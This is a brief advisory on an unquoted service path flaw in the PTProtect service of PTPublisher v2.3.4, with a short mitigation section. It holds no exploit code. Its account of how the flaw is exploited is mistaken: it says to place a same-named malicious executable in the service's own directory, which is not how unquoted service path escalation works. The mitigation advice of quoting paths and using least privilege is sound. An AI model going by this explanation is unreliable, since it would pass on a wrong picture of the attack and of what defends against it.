PTPublisher v2.3.4 – Unquoted Service Path

The vulnerability exists due to an unquoted service path in the PTProtect service. An attacker can exploit this vulnerability by creating a malicious executable file with the same name as the service executable file and placing it in the same directory. This will allow the malicious executable to be executed with SYSTEM privileges.

Mitigation:

Ensure that all service paths are properly quoted. Additionally, ensure that all services are running with the least privileges necessary.
